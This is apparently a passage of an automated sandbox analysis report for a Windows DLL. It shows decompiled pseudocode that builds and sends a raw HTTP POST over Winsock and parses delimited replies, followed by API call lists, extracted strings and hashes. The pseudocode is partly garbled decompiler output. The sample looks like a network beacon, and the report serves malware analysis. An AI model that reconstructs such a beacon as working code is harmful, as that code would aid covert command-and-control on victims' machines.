										_t736 = E100079E0(_t985,  &_v2388, _t1232);
									} else {
										__eflags = _t1162 - 0x10;
										_t408 = _t1030 + 0x12; // 0x12
										_t1266 =  >=  ? _v2388 :  &_v2388;
										_t1267 = ( >=  ? _v2388 :  &_v2388) + _t1030;
										_v2372 = _t408;
										memmove(_t1267, ??, ??);
										_t1295 = _t1295 + 0xc;
										 *((char*)(_t1267 + 0x12)) = 0;
										_t736 =  &_v2388;
									}
									_v2420 = 0;
									_v2416 = 0;
									asm("movups xmm0, [eax]");
									_v2184 = _t1232 | 0x00000fe0;
									asm("movups [ebp-0x980], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x970], xmm0");
									 *(_t736 + 0x10) = 0;
									 *(_t736 + 0x14) = 0xf;
									 *_t736 = 0;
									_v8 = 0x18;
									_t738 = E10007350( &_v2460,  &_v2436,  &_v2232);
									_t1287 = _t1295 + 4;
									_t1234 = _t738;
									_v8 = 0x19;
									_t1164 =  *(_t1234 + 0x14);
									_t1033 =  *(_t1234 + 0x10);
									__eflags = _t1164 - _t1033 - 4;
									if(_t1164 - _t1033 < 4) {
										_v2180 = 0;
										_t1234 = E100079E0(_t985, _t1234, _t1234, 4, _v2180, 0x1000a550, 4);
									} else {
										 *(_t1234 + 0x10) = _t1033 + 4;
										_t869 = _t1234;
										__eflags = _t1164 - 0x10;
										if(_t1164 >= 0x10) {
											_t869 =  *_t1234;
										}
										_t1264 = _t869 + _t1033;
										memmove(_t1264, 0x1000a550, 4);
										_t1287 = _t1287 + 0xc;
										 *((char*)(_t1264 + 4)) = 0;
									}
									_v2252 = 0;
									_v2248 = 0;
									asm("movups xmm0, [edi]");
									asm("movups [ebp-0x8d8], xmm0");
									asm("movq xmm0, [edi+0x10]");
									asm("movq [ebp-0x8c8], xmm0");
									 *(_t1234 + 0x10) = 0;
									 *(_t1234 + 0x14) = 0xf;
									 *_t1234 = 0;
									_t1235 = _v2188;
									_v2184 = _t1235 | 0x00001fe0;
									_v8 = 0x1a;
									__eflags = _a48 - 0x10;
									_t1035 = _a44;
									_t1166 =  >=  ? _a28 :  &_a28;
									_t1255 = _v2252;
									_v2180 = _t1035;
									_push(_t1035);
									_push( >=  ? _a28 :  &_a28);
									__eflags = _t1035 - _v2248 - _t1255;
									if(_t1035 > _v2248 - _t1255) {
										_v2180 = 0;
										_push(_v2180);
										_push(_t1035);
										_t746 = E100079E0(_t985,  &_v2268, _t1235);
									} else {
										__eflags = _v2248 - 0x10;
										_v2252 = _t1255 + _t1035;
										_t865 =  >=  ? _v2268 :  &_v2268;
										_t1263 = _t1255 + ( >=  ? _v2268 :  &_v2268);
										memmove(_t1263, ??, ??);
										_t1287 = _t1287 + 0xc;
										 *((char*)(_t1263 + _v2180)) = 0;
										_t746 =  &_v2268;
									}
									_v2348 = 0;
									_v2344 = 0;
									asm("movups xmm0, [eax]");
									asm("movups [ebp-0x938], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x928], xmm0");
									 *(_t746 + 0x10) = 0;
									 *(_t746 + 0x14) = 0xf;
									 *_t746 = 0;
									_v2184 = _t1235 | 0x00003fe0;
									_v8 = 0x1b;
									_t1167 = _v2344;
									_t1037 = _v2348;
									_push(4);
									_push(0x1000a550);
									__eflags = _t1167 - _t1037 - 4;
									if(_t1167 - _t1037 < 4) {
										_v2180 = 0;
										_push(_v2180);
										_push(4); // executed
										_t751 = E100079E0(_t985,  &_v2364, _t1235); // executed
									} else {
										__eflags = _t1167 - 0x10;
										_t468 = _t1037 + 4; // 0x4
										_t1261 =  >=  ? _v2364 :  &_v2364;
										_t1262 = ( >=  ? _v2364 :  &_v2364) + _t1037;
										_v2348 = _t468;
										memmove(_t1262, ??, ??);
										_t1287 = _t1287 + 0xc;
										 *((char*)(_t1262 + 4)) = 0;
										_t751 =  &_v2364;
									}
									_v1596 = 0;
									_t1236 = _t1235 | 0x00007fe0;
									_v1592 = 0;
									asm("movups xmm0, [eax]");
									_v2188 = _t1236;
									_v2184 = _t1236;
									asm("movups [ebp-0x648], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x638], xmm0");
									 *(_t751 + 0x10) = 0;
									 *(_t751 + 0x14) = 0xf;
									 *_t751 = 0;
									_v8 = 0x1d;
									_t1168 = _v2344;
									__eflags = _t1168 - 0x10;
									if(_t1168 < 0x10) {
										L194:
										_v2348 = 0;
										_v2344 = 0xf;
										_v2364 = 0;
										_v8 = 0x1e;
										_t1169 = _v2248;
										__eflags = _t1169 - 0x10;
										if(_t1169 < 0x10) {
											L198:
											_v2252 = 0;
											_v2248 = 0xf;
											_v2268 = 0;
											_v8 = 0x1f;
											_t1170 = _v2440;
											__eflags = _t1170 - 0x10;
											if(_t1170 < 0x10) {
												L202:
												_v2444 = 0;
												_v2440 = 0xf;
												_v2460 = 0;
												_v8 = 0x20;
												_t1171 = _v2416;
												__eflags = _t1171 - 0x10;
												if(_t1171 < 0x10) {
													L206:
													_v2420 = 0;
													_v2416 = 0xf;
													_v2436 = 0;
													_v8 = 0x21;
													_t1172 = _v2368;
													__eflags = _t1172 - 0x10;
													if(_t1172 < 0x10) {
														L210:
														_v2372 = 0;
														_v2368 = 0xf;
														_v2388 = 0;
														_v8 = 0x22;
														_t1173 = _v2272;
														__eflags = _t1173 - 0x10;
														if(_t1173 < 0x10) {
															L214:
															_v2276 = 0;
															_v2272 = 0xf;
															_v2292 = 0;
															_v8 = 0x23;
															_t1174 = _v2296;
															__eflags = _t1174 - 0x10;
															if(_t1174 < 0x10) {
																L218:
																_v2300 = 0;
																_v2296 = 0xf;
																_v2316 = 0;
																_v8 = 0x24;
																_t1175 = _v2320;
																__eflags = _t1175 - 0x10;
																if(_t1175 < 0x10) {
																	L222:
																	_v2324 = 0;
																	_v2320 = 0xf;
																	_v2340 = 0;
																	_v8 = 0x25;
																	_t1176 = _v1616;
																	__eflags = _t1176 - 0x10;
																	if(_t1176 < 0x10) {
																		L226:
																		_v1620 = 0;
																		_v1616 = 0xf;
																		_v1636 = 0;
																		_v8 = 0x26;
																		_t1177 = _v2212;
																		__eflags = _t1177 - 0x10;
																		if(_t1177 >= 0x10) {
																			_t1081 = _v2232;
																			_t1177 = _t1177 + 1;
																			_t831 = _t1081;
																			__eflags = _t1177 - 0x1000;
																			if(_t1177 >= 0x1000) {
																				_t1081 =  *((intOrPtr*)(_t1081 - 4));
																				_t1177 = _t1177 + 0x23;
																				_t831 = _t831 - _t1081 + 0xfffffffc;
																				__eflags = _t831 - 0x1f;
																				if(_t831 > 0x1f) {
																					goto L229;
																				}
																			}
																			goto L230;
																		}
																	} else {
																		_t1082 = _v1636;
																		_t1192 = _t1176 + 1;
																		_t834 = _t1082;
																		__eflags = _t1192 - 0x1000;
																		if(_t1192 < 0x1000) {
																			L225:
																			_push(_t1192);
																			E10008291(_t834, _t1082);
																			_t1287 = _t1287 + 8;
																			goto L226;
																		} else {
																			_t1081 =  *((intOrPtr*)(_t1082 - 4));
																			_t1177 = _t1192 + 0x23;
																			_t831 = _t834 - _t1081 + 0xfffffffc;
																			__eflags = _t834 - _t1081 + 0xfffffffc - 0x1f;
																			if(_t834 - _t1081 + 0xfffffffc > 0x1f) {
																				goto L229;
																			} else {
																				goto L225;
																			}
																		}
																	}
																} else {
																	_t1083 = _v2340;
																	_t1193 = _t1175 + 1;
																	_t837 = _t1083;
																	__eflags = _t1193 - 0x1000;
																	if(_t1193 < 0x1000) {
																		L221:
																		_push(_t1193);
																		E10008291(_t837, _t1083);
																		_t1287 = _t1287 + 8;
																		goto L222;
																	} else {
																		_t1081 =  *((intOrPtr*)(_t1083 - 4));
																		_t1177 = _t1193 + 0x23;
																		_t831 = _t837 - _t1081 + 0xfffffffc;
																		__eflags = _t837 - _t1081 + 0xfffffffc - 0x1f;
																		if(_t837 - _t1081 + 0xfffffffc > 0x1f) {
																			goto L229;
																		} else {
																			goto L221;
																		}
																	}
																}
															} else {
																_t1084 = _v2316;
																_t1194 = _t1174 + 1;
																_t840 = _t1084;
																__eflags = _t1194 - 0x1000;
																if(_t1194 < 0x1000) {
																	L217:
																	_push(_t1194);
																	E10008291(_t840, _t1084);
																	_t1287 = _t1287 + 8;
																	goto L218;
																} else {
																	_t1081 =  *((intOrPtr*)(_t1084 - 4));
																	_t1177 = _t1194 + 0x23;
																	_t831 = _t840 - _t1081 + 0xfffffffc;
																	__eflags = _t840 - _t1081 + 0xfffffffc - 0x1f;
																	if(_t840 - _t1081 + 0xfffffffc > 0x1f) {
																		goto L229;
																	} else {
																		goto L217;
																	}
																}
															}
														} else {
															_t1085 = _v2292;
															_t1195 = _t1173 + 1;
															_t843 = _t1085;
															__eflags = _t1195 - 0x1000;
															if(_t1195 < 0x1000) {
																L213:
																_push(_t1195);
																E10008291(_t843, _t1085);
																_t1287 = _t1287 + 8;
																goto L214;
															} else {
																_t1081 =  *((intOrPtr*)(_t1085 - 4));
																_t1177 = _t1195 + 0x23;
																_t831 = _t843 - _t1081 + 0xfffffffc;
																__eflags = _t843 - _t1081 + 0xfffffffc - 0x1f;
																if(_t843 - _t1081 + 0xfffffffc > 0x1f) {
																	goto L229;
																} else {
																	goto L213;
																}
															}
														}
													} else {
														_t1086 = _v2388;
														_t1196 = _t1172 + 1;
														_t846 = _t1086;
														__eflags = _t1196 - 0x1000;
														if(_t1196 < 0x1000) {
															L209:
															_push(_t1196);
															E10008291(_t846, _t1086);
															_t1287 = _t1287 + 8;
															goto L210;
														} else {
															_t1081 =  *((intOrPtr*)(_t1086 - 4));
															_t1177 = _t1196 + 0x23;
															_t831 = _t846 - _t1081 + 0xfffffffc;
															__eflags = _t846 - _t1081 + 0xfffffffc - 0x1f;
															if(_t846 - _t1081 + 0xfffffffc > 0x1f) {
																goto L229;
															} else {
																goto L209;
															}
														}
													}
												} else {
													_t1087 = _v2436;
													_t1197 = _t1171 + 1;
													_t849 = _t1087;
													__eflags = _t1197 - 0x1000;
													if(_t1197 < 0x1000) {
														L205:
														_push(_t1197);
														E10008291(_t849, _t1087);
														_t1287 = _t1287 + 8;
														goto L206;
													} else {
														_t1081 =  *((intOrPtr*)(_t1087 - 4));
														_t1177 = _t1197 + 0x23;
														_t831 = _t849 - _t1081 + 0xfffffffc;
														__eflags = _t849 - _t1081 + 0xfffffffc - 0x1f;
														if(_t849 - _t1081 + 0xfffffffc > 0x1f) {
															goto L229;
														} else {
															goto L205;
														}
													}
												}
											} else {
												_t1088 = _v2460;
												_t1198 = _t1170 + 1;
												_t852 = _t1088;
												__eflags = _t1198 - 0x1000;
												if(_t1198 < 0x1000) {
													L201:
													_push(_t1198);
													E10008291(_t852, _t1088);
													_t1287 = _t1287 + 8;
													goto L202;
												} else {
													_t1081 =  *((intOrPtr*)(_t1088 - 4));
													_t1177 = _t1198 + 0x23;
													_t831 = _t852 - _t1081 + 0xfffffffc;
													__eflags = _t852 - _t1081 + 0xfffffffc - 0x1f;
													if(_t852 - _t1081 + 0xfffffffc > 0x1f) {
														goto L229;
													} else {
														goto L201;
													}
												}
											}
										} else {
											_t1089 = _v2268;
											_t1199 = _t1169 + 1;
											_t855 = _t1089;
											__eflags = _t1199 - 0x1000;
											if(_t1199 < 0x1000) {
												L197:
												_push(_t1199);
												E10008291(_t855, _t1089);
												_t1287 = _t1287 + 8;
												goto L198;
											} else {
												_t1081 =  *((intOrPtr*)(_t1089 - 4));
												_t1177 = _t1199 + 0x23;
												_t831 = _t855 - _t1081 + 0xfffffffc;
												__eflags = _t855 - _t1081 + 0xfffffffc - 0x1f;
												if(_t855 - _t1081 + 0xfffffffc > 0x1f) {
													goto L229;
												} else {
													goto L197;
												}
											}
										}
									} else {
										_t1090 = _v2364;
										_t1200 = _t1168 + 1;
										_t858 = _t1090;
										__eflags = _t1200 - 0x1000;
										if(_t1200 < 0x1000) {
											L193:
											_push(_t1200);
											E10008291(_t858, _t1090);
											_t1287 = _t1287 + 8;
											goto L194;
										} else {
											_t1081 =  *((intOrPtr*)(_t1090 - 4));
											_t1177 = _t1200 + 0x23;
											_t831 = _t858 - _t1081 + 0xfffffffc;
											__eflags = _t858 - _t1081 + 0xfffffffc - 0x1f;
											if(_t858 - _t1081 + 0xfffffffc > 0x1f) {
												L229:
												__imp___invalid_parameter_noinfo_noreturn();
												L230:
												_push(_t1177);
												E10008291(_t831, _t1081);
												_t1287 = _t1287 + 8;
											} else {
												goto L193;
											}
										}
									}
									__eflags = _v1592 - 0x10;
									_t1256 = _v2176;
									_t753 =  >=  ? _v1612 :  &_v1612;
									_v2216 = 0;
									_v2212 = 0xf;
									_v2232 = 0;
									_v2180 = _t753;
									__eflags = _t1256;
									if(_t1256 == 0) {
										L235:
										__imp__freeaddrinfo(_v2176);
										__eflags = _v2208 - 0xffffffff;
										if(_v2208 != 0xffffffff) {
											_t1178 = _v2180;
											_t1039 = _t1178;
											_t610 = _t1039 + 1; // 0x1
											_t1257 = _t610;
											do {
												_t754 =  *_t1039;
												_t1039 = _t1039 + 1;
												__eflags = _t754;
											} while (_t754 != 0);
											_t1258 = _v2208;
											__imp__#19(_t1258, _t1178, _t1039 - _t1257, 0); // executed
											__eflags = _t754 - 0xffffffff;
											if(_t754 != 0xffffffff) {
												__imp__#22(_t1258, 1); // executed
												__eflags = _t754 - 0xffffffff;
												if(_t754 == 0xffffffff) {
													goto L256;
												} else {
													E10005B60( &_v1740, 0x1000a2e5);
													_v8 = 0x27;
													while(1) {
														_t769 =  &_v556;
														__imp__#16(_t1258, _t769, 0x200, 0); // executed
														_t1237 = _t769;
														__eflags = _t1237;
														if(_t1237 <= 0) {
															break;
														}
														_t1259 = 0;
														__eflags = 0;
														do {
															_v2180 =  *((intOrPtr*)(_t1280 + _t1259 - 0x228));
															E10006B30( &_v1740, _v2180);
															_t1259 = _t1259 + 1;
															__eflags = _t1259 - _t1237;
														} while (_t1259 < _t1237);
														_t1258 = _v2208;
													}
													__imp__#3(_t1258); // executed
													__imp__#116(); // executed
													E10005B60( &_v1716, 0x1000a2e5);
													_v8 = 0x28;
													E10005B60( &_v1636, 0x1000a2e5);
													_v8 = 0x29;
													_t1258 = E10005940( &_v1740, "\r\r\r\t\t\t\n\n\n", 0);
													_t773 = E10005940( &_v1740, "\n\n\n\t\t\t\r\r\r", 0);
													__eflags = _t1258;
													if(_t1258 > 0) {
														__eflags = _t773;
														if(_t773 > 0) {
															__eflags = _t773 - _t1258 - 9;
															_t643 = _t1258 + 9; // 0x9
															E10005AA0( &_v1636, _t1237, _t1258, E100058F0(_t985,  &_v1740,  &_v2460, _t643));
															E10005A50( &_v2460, _t1237, _t1258, _t773 - _t1258 - 9);
														}
													}
													E10005B20(_v2196,  &_v1636);
													_v2184 = _v2188 | 0x00000001;
													E10005A50( &_v1636, _t1237, _t1258);
													E10005A50( &_v1716, _t1237, _t1258);
													E10005A50( &_v1740, _t1237, _t1258);
												}
											} else {
												L256:
												__imp__#3(_t1258);
												__imp__#116();
												E10005B60(_v2196, "500");
												_t1237 = _t1236 | 0x00000001;
												__eflags = _t1237;
												_v2184 = _t1237;
											}
											E10005A50( &_v1612, _t1237, _t1258);
											E10005A50( &_v1540, _t1237, _t1258);
											E10005A50( &_v1660, _t1237, _t1258);
											E10005A50( &_v1588, _t1237, _t1258);
											_push(E10005A50);
											_push(0x14);
											_push(0x18);
											_v8 = 6;
											_push( &_v1516);
											E1000889C();
											_v8 = 5;
											E1000889C();
											E10005A50( &_v1564, _t1237, _t1258,  &_v1036);
											E10005A50( &_v1684, _t1237, _t1258, 0x18);
											E10005A50( &_a4, _t1237, _t1258, 0x14);
											E10005A50( &_a28, _t1237, _t1258, E10005A50);
											_t680 = _v2196;
										} else {
											__imp__#116();
											_t1245 = _v2196;
											 *(_t1245 + 0x10) = 0;
											 *(_t1245 + 0x14) = 0xf;
											 *_t1245 = 0;
											E10006CC0(_t985, _t1245, _t1177, "500", 3);
											_t1238 = _t1236 | 0x00000001;
											_v2184 = _t1236 | 0x00000001;
											E10005A50( &_v1612, _t1236 | 0x00000001, _t1245);
											E10005A50( &_v1540, _t1236 | 0x00000001, _t1245);
											E10005A50( &_v1660, _t1236 | 0x00000001, _t1245);
											E10005A50( &_v1588, _t1236 | 0x00000001, _t1245);
											_push(E10005A50);
											_push(0x14);
											_push(0x18);
											_v8 = 6;
											_push( &_v1516);
											E1000889C();
											_v8 = 5;
											E1000889C();
											E10005A50( &_v1564, _t1238, _t1245,  &_v1036);
											E10005A50( &_v1684, _t1238, _t1245, 0x18);
											E10005A50( &_a4, _t1238, _t1245, 0x14);
											E10005A50( &_a28, _t1238, _t1245, E10005A50);
											goto L73;
										}
									} else {
										while(1) {
											__imp__#23( *((intOrPtr*)(_t1256 + 4)),  *((intOrPtr*)(_t1256 + 8)),  *((intOrPtr*)(_t1256 + 0xc))); // executed
											_v2208 = _t753;
											__eflags = _t753 - 0xffffffff;
											if(_t753 == 0xffffffff) {
												break;
											}
											__imp__#4(_t753,  *((intOrPtr*)(_t1256 + 0x18)),  *((intOrPtr*)(_t1256 + 0x10))); // executed
											__eflags = _t753 - 0xffffffff;
											if(_t753 != 0xffffffff) {
												goto L235;
											} else {
												__imp__#3(_v2208);
												_t1256 =  *(_t1256 + 0x1c);
												_v2208 = 0xffffffff;
												__eflags = _t1256;
												if(_t1256 != 0) {
													continue;
												} else {
													goto L235;
												}
											}
											goto L74;
										}
										__imp__#116();
										_t1245 = _v2196;
										 *(_t1245 + 0x10) = 0;
										 *(_t1245 + 0x14) = 0xf;
										 *_t1245 = 0;
										E10006CC0(_t985, _t1245, _t1177, "500", 3);
										_t1220 = _t1236 | 0x00000001;
										_v8 = 0x10;
										_t1179 = _v1592;
										_v2184 = _t1220;
										__eflags = _t1179 - 0x10;
										if(_t1179 < 0x10) {
											L241:
											_v8 = 9;
											_t803 = _v1520;
											_v1596 = 0;
											_v1592 = 0xf;
											_v1612 = 0;
											__eflags = _t803 - 0x10;
											if(_t803 < 0x10) {
												L245:
												_v8 = 8;
												_t1180 = _v1640;
												__eflags = _t1180 - 0x10;
												if(_t1180 < 0x10) {
													L249:
													_v8 = 7;
													_t804 = _v1568;
													__eflags = _t804 - 0x10;
													if(_t804 < 0x10) {
														L57:
														_push(E10005A50);
														_push(0x14);
														_push(0x18);
														_v8 = 6;
														_push( &_v1516);
														E1000889C();
														_push(E10005A50);
														_push(0x14);
														_push(0x18);
														_v8 = 5;
														_push( &_v1036);
														E1000889C();
														_t1181 = _v1544;
														if(_t1181 < 0x10) {
															L61:
															_t1182 = _v1664;
															_v1548 = 0;
															_v1544 = 0xf;
															_v1564 = 0;
															if(_t1182 < 0x10) {
																L65:
																_t1183 = _a24;
																if(_t1183 < 0x10) {
																	L69:
																	_t1184 = _a48;
																	_a20 = 0;
																	_a24 = 0xf;
																	_a4 = 0;
																	if(_t1184 < 0x10) {
																		L73:
																		_t680 = _t1245;
																	} else {
																		_t1003 = _a28;
																		_t1142 = _t1184 + 1;
																		_t682 = _t1003;
																		if(_t1142 < 0x1000) {
																			L72:
																			_push(_t1142);
																			E10008291(_t682, _t1003);
																			goto L73;
																		} else {
																			_t1003 =  *((intOrPtr*)(_t1003 - 4));
																			_t1142 = _t1142 + 0x23;
																			if(_t682 > 0x1f) {
																				goto L109;
																			} else {
																				goto L72;
																			}
																		}
																	}
																} else {
																	_t1074 = _a4;
																	_t1185 = _t1183 + 1;
																	_t810 = _t1074;
																	if(_t1185 < 0x1000) {
																		L68:
																		_push(_t1185);
																		E10008291(_t810, _t1074);
																		_t1287 = _t1287 + 8;
																		goto L69;
																	} else {
																		_t1074 =  *((intOrPtr*)(_t1074 - 4));
																		_t1142 = _t1185 + 0x23;
																		if(_t810 > 0x1f) {
																			goto L109;
																		} else {
																			goto L68;
																		}
																	}
																}
															} else {
																_t1075 = _v1684;
																_t1186 = _t1182 + 1;
																_t813 = _t1075;
																if(_t1186 < 0x1000) {
																	L64:
																	_push(_t1186);
																	E10008291(_t813, _t1075);
																	_t1287 = _t1287 + 8;
																	goto L65;
																} else {
																	_t1075 =  *((intOrPtr*)(_t1075 - 4));
																	_t1142 = _t1186 + 0x23;
																	if(_t813 > 0x1f) {
																		goto L109;
																	} else {
																		goto L64;
																	}
																}
															}
														} else {
															_t1076 = _v1564;
															_t1187 = _t1181 + 1;
															_t816 = _t1076;
															if(_t1187 < 0x1000) {
																L60:
																_push(_t1187);
																E10008291(_t816, _t1076);
																_t1287 = _t1287 + 8;
																goto L61;
															} else {
																_t1076 =  *((intOrPtr*)(_t1076 - 4));
																_t1142 = _t1187 + 0x23;
																if(_t816 > 0x1f) {
																	goto L109;
																} else {
																	goto L60;
																}
															}
														}
													} else {
														_t1188 = _v1588;
														_t607 = _t804 + 1; // 0x11
														_t1077 = _t607;
														_t819 = _t1188;
														__eflags = _t1077 - 0x1000;
														if(_t1077 < 0x1000) {
															L252:
															_push(_t1077);
															E10008291(_t819, _t1188);
															_t1287 = _t1287 + 8;
															goto L57;
														} else {
															_t1142 =  *(_t1188 - 4);
															_t1077 = _t1077 + 0x23;
															_t819 = _t819 -  *(_t1188 - 4) + 0xfffffffc;
															__eflags = _t819 - 0x1f;
															if(_t819 > 0x1f) {
																goto L109;
															} else {
																goto L252;
															}
														}
													}
												} else {
													_t1078 = _v1660;
													_t1189 = _t1180 + 1;
													_t822 = _t1078;
													__eflags = _t1189 - 0x1000;
													if(_t1189 < 0x1000) {
														L248:
														_push(_t1189);
														E10008291(_t822, _t1078);
														_t1287 = _t1287 + 8;
														goto L249;
													} else {
														_t1078 =  *((intOrPtr*)(_t1078 - 4));
														_t1142 = _t1189 + 0x23;
														_t822 = _t822 - _t1078 + 0xfffffffc;
														__eflags = _t822 - 0x1f;
														if(_t822 > 0x1f) {
															goto L109;
														} else {
															goto L248;
														}
													}
												}
											} else {
												_t1190 = _v2192;
												_t598 = _t803 + 1; // 0x11
												_t1079 = _t598;
												_t825 = _t1190;
												__eflags = _t1079 - 0x1000;
												if(_t1079 < 0x1000) {
													L244:
													_push(_t1079);
													E10008291(_t825, _t1190);
													_t1287 = _t1287 + 8;
													goto L245;
												} else {
													_t1142 =  *(_t1190 - 4);
													_t1079 = _t1079 + 0x23;
													_t825 = _t825 -  *(_t1190 - 4) + 0xfffffffc;
													__eflags = _t825 - 0x1f;
													if(_t825 > 0x1f) {
														goto L109;
													} else {
														goto L244;
													}
												}
											}
										} else {
											_t1080 = _v1612;
											_t1191 = _t1179 + 1;
											_t828 = _t1080;
											__eflags = _t1191 - 0x1000;
											if(_t1191 < 0x1000) {
												L240:
												_push(_t1191);
												E10008291(_t828, _t1080);
												_t1287 = _t1287 + 8;
												goto L241;
											} else {
												_t1080 =  *((intOrPtr*)(_t1080 - 4));
												_t1142 = _t1191 + 0x23;
												_t828 = _t828 - _t1080 + 0xfffffffc;
												__eflags = _t828 - 0x1f;
												if(_t828 > 0x1f) {
													goto L109;
												} else {
													goto L240;
												}
											}
										}
									}
								} else {
									_t981 = _t1142;
									goto L8;
								}
							}
						}
					}
					L74:
					 *[fs:0x0] = _v16;
					return E10008280(_t680, _v20 ^ _t1280);
				}
				_t670 = _v2188;
				goto L17;
			}

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,A8DDED82,?,?), ref: 10001E01
_localtime64.API-MS-WIN-CRT-TIME-L1-1-0(?), ref: 10001E1A

Part of subcall function 10006CC0: memmove.VCRUNTIME140(?,00000000,10003B99,00000001,768016E0,?,10003B99,00000000,00000001), ref: 10006CED

Part of subcall function 10006CC0: memcpy.VCRUNTIME140(00000000,00000000,10003B99,00000001,768016E0,?,10003B99,00000000,00000001), ref: 10006D9C

Part of subcall function 100019B0: memmove.VCRUNTIME140(00000010,00000010,00000000,00000001,?,?,1000A2E5,00000000,A8DDED82,?), ref: 10001A9E

Part of subcall function 10005940: memchr.VCRUNTIME140(?,?,?,00000000,?,?,10005BA0,10005A50), ref: 100059A0
Part of subcall function 10005940: memchr.VCRUNTIME140(00000001,10005BA0,?,00000000,?,?,10005BA0,10005A50), ref: 10005A1B

memchr.VCRUNTIME140(?,0000002F,?,1000A534,00000000,?,00000018,00000014,10005BA0,10005A50,?,00000018,00000014,10005BA0,10005A50), ref: 100020AC

Part of subcall function 10006CC0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000001,768016E0,?,10003B99,00000000,00000001), ref: 10006DE9

WSAStartup.WS2_32(00000202,?), ref: 10002341
getaddrinfo.WS2_32(?,1000A53C,?,?), ref: 100025E2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000018,00000014,10005A50,?,00000018,00000014,10005A50,506,00000003,1000A2E5,00000000,1000A2E5,00000000), ref: 100027DD
rand.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 1000283F
memmove.VCRUNTIME140(?,1000A544,00000001), ref: 100028A1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000001), ref: 10002A1B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 10002B2B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 10002C0F
memmove.VCRUNTIME140(?,1000A580,00000001), ref: 10002CE6
memmove.VCRUNTIME140(00000000,?,?,00000001,00000000,1000A580,00000001), ref: 10002DB1

Part of subcall function 100079E0: memcpy.VCRUNTIME140(00000000,7FFFFFFF,?,?,?), ref: 10007AB4
Part of subcall function 100079E0: memcpy.VCRUNTIME140(?,?,?,00000000,7FFFFFFF,?,?,?), ref: 10007AC2

Part of subcall function 100079E0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?), ref: 10007B05
Part of subcall function 100079E0: memcpy.VCRUNTIME140(00000000,?,?,?,?), ref: 10007B0D
Part of subcall function 100079E0: memcpy.VCRUNTIME140(7FFFFFFF,?,?,00000000,?,?,?,?), ref: 10007B19

memmove.VCRUNTIME140(?, HTTP/1.1Host: ,00000011,?,00000000,?,?,00000001,00000000,1000A580,00000001), ref: 10002E75
memmove.VCRUNTIME140(00000000,?,?,00000011,00000000, HTTP/1.1Host: ,00000011,?,00000000,?,?,00000001,00000000,1000A580,00000001), ref: 10002F3C
memmove.VCRUNTIME140(?,Content-Length: ,00000012,?,00000000,?,?,00000011,00000000, HTTP/1.1Host: ,00000011,?,00000000,?,?,00000001), ref: 10002FF4

Part of subcall function 10007350: memmove.VCRUNTIME140(1000A544,1000A544,00000001,?,?,?,00000000,1000A544,00000001), ref: 100073E2
Part of subcall function 10007350: memcpy.VCRUNTIME140(1000A544,?,00000001,1000A544,1000A544,00000001,?,?,?,00000000,1000A544,00000001), ref: 100073EE
Part of subcall function 10007350: memcpy.VCRUNTIME140(1000A544,1000A544,1000A544,1000A544,?,00000001,1000A544,1000A544,00000001,?,?,?,00000000,1000A544,00000001), ref: 1000740A

memmove.VCRUNTIME140(00000000,,00000004,00000001), ref: 100030B8
memmove.VCRUNTIME140(00000000,?,?,00000004,00000000,,00000004,00000001), ref: 10003180
memmove.VCRUNTIME140(?,,00000004,?,00000000,?,?,00000004,00000000,,00000004,00000001), ref: 10003238
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000004,00000000,,00000004,?,00000000,?,?,00000004,00000000,,00000004,00000001), ref: 10003601
socket.WS2_32(00000011,?,?), ref: 10003659
connect.WS2_32(00000000,00000006,00000000), ref: 10003675
closesocket.WS2_32(FFFFFFFF), ref: 10003686
freeaddrinfo.WS2_32(?,00000004,00000000,,00000004,?,00000000,?,?,00000004,00000000,,00000004,00000001), ref: 100036A3
WSACleanup.WS2_32 ref: 100036B6
WSACleanup.WS2_32 ref: 10003773
send.WS2_32(000000FF,00000000,00000001,00000000), ref: 100038E6
closesocket.WS2_32(000000FF), ref: 100038F6
WSACleanup.WS2_32 ref: 100038FC
shutdown.WS2_32(000000FF,00000001), ref: 100039AD
recv.WS2_32(000000FF,?,00000200,00000000), ref: 100039DF
closesocket.WS2_32(000000FF), ref: 10003A1C
WSACleanup.WS2_32 ref: 10003A22

Strings

KJKLO, xrefs: 10002A61
, xrefs: 10003A4E
506, xrefs: 10002606
, xrefs: 10003A64
500, xrefs: 10002359, 100036C6, 10003783, 10003908
Content-Length: , xrefs: 10002FCE
HTTP/1.1Host: , xrefs: 10002E4F
POST , xrefs: 10002CA4
), xrefs: 10003A59
, xrefs: 100030B2, 100030C8, 10003212

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memmove$_invalid_parameter_noinfo_noreturnmemcpy$Cleanup$closesocketmemchr$Startup_localtime64_time64connectfreeaddrinfogetaddrinforandrecvsendshutdownsocket
String ID: $$Content-Length: $$ HTTP/1.1Host: $)$500$506$KJKLO$POST
API String ID: 4146794545-621986983
Opcode ID: b2f848c06e5798b84dfcc1e8d5e0a2d007d1c8e4a940a7b6b589fca31aa34425
Instruction ID: 79a9068725998f1b5339d64df5b84f6f3f4b9869c81dfcad5edd806558d6e25e
Opcode Fuzzy Hash: b2f848c06e5798b84dfcc1e8d5e0a2d007d1c8e4a940a7b6b589fca31aa34425
Instruction Fuzzy Hash: 9703A2719002598BFB25CB28CC44B9DB7B2FF85344F5482D8E089A7296DB75ABC4CF91

Uniqueness

Uniqueness Score: -1.00%

Function 100079E0, Relevance: 9.2, APIs: 6, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 26%

